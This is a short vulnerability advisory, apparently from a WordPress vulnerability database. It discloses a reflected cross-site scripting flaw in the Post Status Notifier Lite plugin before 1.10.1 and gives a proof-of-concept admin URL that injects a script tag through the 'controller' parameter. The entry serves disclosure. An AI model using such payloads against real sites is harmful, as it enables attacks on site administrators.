WordPress Plugin Vulnerabilities

Post Status Notifier Lite < 1.10.1 - Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which can be used against high privilege users such as admin.

Proof of Concept

Make a logged in high privilege user such as admin open the URL below

https://example.com/wp-admin/options-general.php?page=post-status-notifier-lite&controller=<script>alert(`xss`)</script>

Affects Plugins

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
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Verified
Yes

Timeline

Publicly Published
2022-12-15 (about 1 years ago)
Added
2022-12-14 (about 1 years ago)
Last Updated
2022-12-14 (about 1 years ago)

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